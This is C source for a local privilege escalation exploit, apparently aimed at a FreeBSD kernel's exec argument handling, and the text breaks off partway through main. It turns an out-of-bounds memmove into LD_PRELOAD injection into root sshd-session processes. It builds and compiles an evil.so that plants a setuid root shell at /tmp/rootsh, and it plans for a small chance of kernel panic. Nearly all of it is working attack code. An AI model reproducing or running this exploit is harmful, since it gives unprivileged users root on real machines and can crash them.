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| /*
* EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
*
* Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
* memmove(begin_argv + extend, begin_argv + consume,
* endp - begin_argv + consume);
* Should be: endp - begin_argv - consume (operator precedence bug)
*
* Attack: corrupt sshd-session's exec_map env strings to inject
* LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
* with issetugid()=0 (no suid transition), so LD_PRELOAD works
* and our constructor runs as uid=0/euid=0.
*
* The OOB memmove copies 2024 bytes from offset D=265166 of
* the KVA-adjacent exec_map entry to offset 0 of that same entry.
* We preseed entries with our payload at offset D. When sshd-session
* reuses a preseeded entry, offset D retains our stale payload
* (normal execs only write ~155 bytes, never reaching offset D).
*
* Architecture (all unprivileged, no helpers):
* 1. Preseed all exec_map entries with LD_PRELOAD payload at D
* 2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
* 3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
* 4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
* 5. evil.so constructor → suid root shell at /tmp/rootsh
*
* Panic: entry[31] OOB reads past exec_map boundary → page fault.
* DPCPU pinning on CPU 0 means same entry K every trigger.
* P(K=31) = 1/32 = 3.1% on first trigger only. If survived, safe.
*/
#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#define ENTRY_SIZE 528384
#define SCRIPT "/tmp/e21.sh"
#define SSHD_SESSION "/usr/libexec/sshd-session"
#define EVIL_SO "/tmp/evil.so"
#define EVIL_SRC "/tmp/evil.c"
#define GOT_ROOT "/tmp/GOT_ROOT"
#define ARGV0_LEN 265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT 22
static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;
static char *g_preseed_pad;
static void
handle_sig(int s)
{
g_running = 0;
}
static void *
wired_alloc(size_t size)
{
void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (p == MAP_FAILED) {
perror("mmap");
exit(1);
}
memset(p, 0, size);
if (mlock(p, size) != 0)
perror("mlock (non-fatal)");
return p;
}
static void
create_script(void)
{
int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fd < 0) {
perror("create script");
exit(1);
}
write(fd, "#!/bin/sh\nexit 0\n", 17);
close(fd);
}
static void
create_evil_so(void)
{
int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("evil.c");
exit(1);
}
const char *src =
"#include <unistd.h>\n"
"#include <fcntl.h>\n"
"#include <stdio.h>\n"
"#include <sys/stat.h>\n"
"\n"
"__attribute__((constructor))\n"
"static void pwn(void) {\n"
" if (getuid() != 0 && geteuid() != 0) return;\n"
" if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
" char buf[8192];\n"
" ssize_t n;\n"
" int s = open(\"/bin/sh\", O_RDONLY);\n"
" int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
" if (s >= 0 && d >= 0)\n"
" while ((n = read(s, buf, sizeof(buf))) > 0)\n"
" write(d, buf, n);\n"
" if (s >= 0) close(s);\n"
" if (d >= 0) close(d);\n"
" chown(\"/tmp/rootsh\", 0, 0);\n"
" chmod(\"/tmp/rootsh\", 04755);\n"
" d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
" if (d >= 0) {\n"
" dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
" getuid(), geteuid(), getpid());\n"
" close(d);\n"
" }\n"
"}\n";
write(fd, src, strlen(src));
close(fd);
unlink(EVIL_SO);
char cmd[256];
snprintf(cmd, sizeof(cmd),
"cc -shared -fPIC -o %s %s 2>&1", EVIL_SO, EVIL_SRC);
if (system(cmd) != 0) {
fprintf(stderr, "Failed to compile %s\n", EVIL_SO);
exit(1);
}
chmod(EVIL_SO, 0755);
}
static void
build_preseed(void)
{
if (g_D < 30) {
fprintf(stderr, "D=%d too small for preseed\n", g_D);
exit(1);
}
}
/*
* Preseed env uses MANY medium-sized padding strings instead of one
* huge string. This forces ~2600 copyin iterations (~5ms per exec),
* guaranteeing kernel preemption and enabling concurrent execs on
* the same CPU. Without this, DPCPU absorbs all entries and only
* 4 out of 32 entries get preseeded.
*/
#define PAD_STR_LEN 100
#define PAD_CHAR_LEN (PAD_STR_LEN - 1)
static char g_pad_str[PAD_STR_LEN];
static char g_pad_str_last[PAD_STR_LEN];
static char g_dummy_envs[NUM_DUMMY_ENV][8];
static int g_num_pad_strings;
static int g_last_pad_len;
static char **g_preseed_envp;
static void
build_preseed_envp(void)
{
int pad_total = g_D - 19;
g_num_pad_strings = pad_total / PAD_STR_LEN;
g_last_pad_len = pad_total - g_num_pad_strings * PAD_STR_LEN;
int total_envp = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0)
+ 5 + NUM_DUMMY_ENV + 1;
g_preseed_envp = wired_alloc(total_envp * sizeof(char *));
g_pad_str[0] = 'P';
g_pad_str[1] = '=';
memset(g_pad_str + 2, 'A', PAD_CHAR_LEN - 2);
g_pad_str[PAD_CHAR_LEN] = '\0';
if (g_last_pad_len > 0) {
g_pad_str_last[0] = 'Q';
g_pad_str_last[1] = '=';
memset(g_pad_str_last + 2, 'A', g_last_pad_len - 3);
g_pad_str_last[g_last_pad_len - 1] = '\0';
}
int idx = 0;
for (int i = 0; i < g_num_pad_strings; i++)
g_preseed_envp[idx++] = g_pad_str;
if (g_last_pad_len > 0)
g_preseed_envp[idx++] = g_pad_str_last;
g_preseed_envp[idx++] = SSHD_SESSION;
g_preseed_envp[idx++] = SSHD_SESSION;
g_preseed_envp[idx++] = "-R";
g_preseed_envp[idx++] = "LD_PRELOAD=" EVIL_SO;
for (int i = 0; i < NUM_DUMMY_ENV; i++) {
snprintf(g_dummy_envs[i], sizeof(g_dummy_envs[i]),
"X=%02d", i + 1);
g_preseed_envp[idx++] = g_dummy_envs[i];
}
g_preseed_envp[idx] = NULL;
int payload_bytes = 0;
for (int i = g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0);
g_preseed_envp[i] != NULL; i++)
payload_bytes += strlen(g_preseed_envp[i]) + 1;
printf("[*] Preseed: %d env entries (%d pad + %d payload)\n",
idx, g_num_pad_strings + (g_last_pad_len > 0 ? 1 : 0),
5 + NUM_DUMMY_ENV);
printf("[*] Copyin iterations: ~%d (est ~%dms per exec)\n",
idx, idx * 3 / 1000);
printf("[*] Payload: %d bytes at D=%d (OOB=%d, margin=%d)\n",
payload_bytes, g_D, g_oob, g_oob - payload_bytes);
}
/*
* Preseed all entries using pipe-synchronized concurrent execs.
*
* Problem: DPCPU cache (1 entry per CPU) means sequential execs
* on the same CPU always reuse the same entry. The other 28 entries
* on the freelist never get preseeded.
*
* Solution: fork N+ncpus children, all blocked on a pipe. Release
* them simultaneously. On each CPU, the first child gets DPCPU,
* the rest contend for the freelist. All 32 entries get used.
*/
static void
preseed_all(void)
{
int sync_pipe[2];
if (pipe(sync_pipe) != 0) {
perror("preseed pipe");
return;
}
int batch = g_nentries + g_ncpus;
pid_t pids[64];
int n = 0;
for (int i = 0; i < batch; i++) {
pid_t p = fork();
if (p == 0) {
close(sync_pipe[1]);
char b;
read(sync_pipe[0], &b, 1);
close(sync_pipe[0]);
cpuset_t mask;
CPU_ZERO(&mask);
CPU_SET(i % g_ncpus, &mask);
cpuset_setaffinity(CPU_LEVEL_WHICH,
CPU_WHICH_PID, -1, sizeof(mask), &mask);
char *argv[] = { "true", NULL };
execve("/usr/bin/true", argv, g_preseed_envp);
_exit(99);
}
if (p > 0)
pids[n++] = p;
}
usleep(50000);
close(sync_pipe[1]);
close(sync_pipe[0]);
int st;
for (int i = 0; i < n; i++)
waitpid(pids[i], &st, 0);
}
/*
* Continuous preseeder: periodically re-preseed entries on CPUs 1-3.
* Uses concurrent execs to also hit freelist entries.
* Avoids CPU 0 to keep the trigger's DPCPU entry stable.
*/
static void
preseeder_loop(void)
{
while (g_running) {
int sync_pipe[2];
if (pipe(sync_pipe) != 0) {
usleep(1000000);
continue;
}
int per_cpu = g_nentries / g_ncpus + 1;
pid_t pids[64];
int n = 0;
for (int cpu = 1; cpu < g_ncpus; cpu++) {
for (int j = 0; j < per_cpu && n < 60; j++) {
pid_t p = fork();
if (p == 0) {
close(sync_pipe[1]);
char b;
read(sync_pipe[0], &b, 1);
close(sync_pipe[0]);
cpuset_t mask;
CPU_ZERO(&mask);
CPU_SET(cpu, &mask);
cpuset_setaffinity(CPU_LEVEL_WHICH,
CPU_WHICH_PID, -1,
sizeof(mask), &mask);
char *argv[] = { "true", NULL };
execve("/usr/bin/true", argv,
g_preseed_envp);
_exit(99);
}
if (p > 0)
pids[n++] = p;
}
}
usleep(20000);
close(sync_pipe[1]);
close(sync_pipe[0]);
int st;
for (int i = 0; i < n; i++)
waitpid(pids[i], &st, 0);
usleep(500000);
}
}
static void
ssh_poker_loop(void)
{
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(SSH_PORT);
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
while (g_running) {
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
usleep(10000);
continue;
}
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
usleep(200);
}
close(fd);
usleep(200);
}
}
static void
mem_churn_loop(int mb)
{
size_t sz = (size_t)mb * 1024 * 1024;
char *region = mmap(NULL, sz, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (region == MAP_FAILED) {
perror("mem_churn mmap");
_exit(1);
}
while (g_running) {
for (size_t i = 0; i < sz && g_running; i += 4096)
region[i] = (char)(i >> 12);
usleep(1000);
}
munmap(region, sz);
}
static int
check_root(void)
{
if (access(GOT_ROOT, F_OK) == 0) {
printf("\n[!!!] ROOT OBTAINED!\n");
FILE *f = fopen(GOT_ROOT, "r");
if (f) {
char buf[256];
while (fgets(buf, sizeof(buf), f))
printf(" %s", buf);
fclose(f);
}
printf("[!!!] Root shell: /tmp/rootsh -p\n");
fflush(stdout);
return 1;
}
return 0;
}
int
main(int argc, char **argv)
{
int rounds = 10000;
int mem_mb = 0;
if (argc > 1)
rounds = atoi(argv[1]);
if (argc > 2)
mem_mb = atoi(argv[2]);
if (check_root())
return 0;
/* Calculate OOB parameters */
int script_fname_len = strlen(SCRIPT) + 1;
int interp_len = strlen("/bin/sh") + 1;
g_extend = interp_len + script_fname_len;
int consume = ARGV0_LEN + 1;
g_D = consume - g_extend;
/*
* OOB = dst_end + 1 - ENTRY_SIZE
* dst starts at buf + script_fname_len + extend
* dst length = endp - begin_argv + consume
* = (consume + env_len) + consume
* = 2*consume + env_len
* where env_len = strlen("T=1") + 1 = 4
*
* dst_end + 1 = script_fname_len + extend + 2*consume + 4
*/
g_oob = script_fname_len + g_extend + 2 * consume + 4 - ENTRY_SIZE;
size_t len = sizeof(g_ncpus);
sysctlbyname("hw.ncpu", &g_ncpus, &len, NULL, 0);
g_nentries = 8 * g_ncpus;
printf("=== EXEC-1 LPE v21: LD_PRELOAD injection ===\n");
printf("N=%d entries, OOB=%d bytes, D=%d\n",
g_nentries, g_oob, g_D);
printf("Target: %s via LD_PRELOAD=%s\n", SSHD_SESSION, EVIL_SO);
printf("Rounds: %d, mem_churn: %dMB\n", rounds, mem_mb);
printf("P(panic first trigger) = 1/%d = %.1f%%\n",
g_nentries, 100.0 / g_nentries);
fflush(stdout);
if (g_oob <= 0) {
fprintf(stderr, "[!] OOB=%d too small\n", g_oob);
return 1;
}
if (g_oob < 100) {
fprintf(stderr, "[!] OOB=%d dangerously small\n", g_oob);
}
signal(SIGTERM, handle_sig);
signal(SIGINT, handle_sig);
/* Create trigger script and evil.so */
create_script();
create_evil_so();
/* Allocate and wire trigger argv[0] */
g_trigger_argv0 = wired_alloc(ARGV0_LEN + 1);
memset(g_trigger_argv0, 'A', ARGV0_LEN);
g_trigger_argv0[ARGV0_LEN] = '\0';
/* Build preseed env layout */
build_preseed();
build_preseed_envp();
/* Initial preseed — fill all entries twice */
printf("[*] Preseeding all %d entries...\n", g_nentries);
fflush(stdout);
preseed_all();
preseed_all();
printf("[*] Preseed complete\n");
/* Fork background workers */
pid_t poker_pid = fork();
if (poker_pid == 0) {
signal(SIGTERM, handle_sig);
signal(SIGINT, handle_sig);
ssh_poker_loop();
_exit(0);
}
pid_t preseeder_pid = fork();
if (preseeder_pid == 0) {
signal(SIGTERM, handle_sig);
signal(SIGINT, handle_sig);
preseeder_loop();
_exit(0);
}
|
